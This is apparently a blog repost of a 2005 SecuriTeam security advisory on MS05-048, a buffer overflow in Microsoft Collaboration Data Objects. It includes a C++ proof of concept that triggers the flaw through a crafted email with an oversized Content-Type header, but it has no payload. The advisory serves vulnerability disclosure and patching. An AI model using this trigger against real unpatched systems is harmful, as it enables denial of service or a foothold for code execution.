Search This Blog

Monday, October 17, 2005

[EXPL] Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)
------------------------------------------------------------------------

SUMMARY

A remote code execution vulnerability exists in Collaboration Data Objects
that could allow an attacker who successfully exploited this vulnerability
to take complete control of the affected system. Read more about this
vulnerability <http://www.securiteam.com/windowsntfocus/6H00C0KEBK.html>
here.

The following is a proof of concept for the collaboration data objects
vulnerability in Microsoft's Windows operating system (MS05-048).

DETAILS

Exploit:
//
// Microsoft CDO Proof of Concept Exploit by Gary O'leary-Steele <garyo at
sec-1.com>
//
// Step 1.
//
// Create an E-mail named vuln.eml including a large "Content-Type:"
header.
//
// Step 2.
//
// Compile with -GX option
//

#import <msado15.dll> no_namespace rename("EOF", "adoEOF")
#import <cdosys.dll> rename_namespace("CDO")

#include <stdio.h>

int main()
{

CoInitialize(0);
try
{
CDO::IMessagePtr spMsg(__uuidof(CDO::Message));
_StreamPtr spStream(spMsg->GetStream());
spStream->Position = 0;
spStream->Type = adTypeBinary;
spStream->LoadFromFile("vuln.eml");
spStream->Flush();

for(long i = 1; i <= spMsg->BodyPart->BodyParts->Count; i++)
{
CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
_variant_t v =
spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;
}

}
catch(_com_error &e)
{
printf("COM error[0x%X, %s]\n", e.Error(),
(LPCTSTR)e.Description());
}
catch(...)
{
printf("General exception\n");
}

CoUninitialize();

return 0;
}

CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
_variant_t v = spBdy ->Fields
->Item["urn:schemas:mailheader:Content-Type"] ->Value;

ADDITIONAL INFORMATION

The information has been provided by <mailto:garyo@sec-1.com> Gary
O'leary-Steele.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

No comments: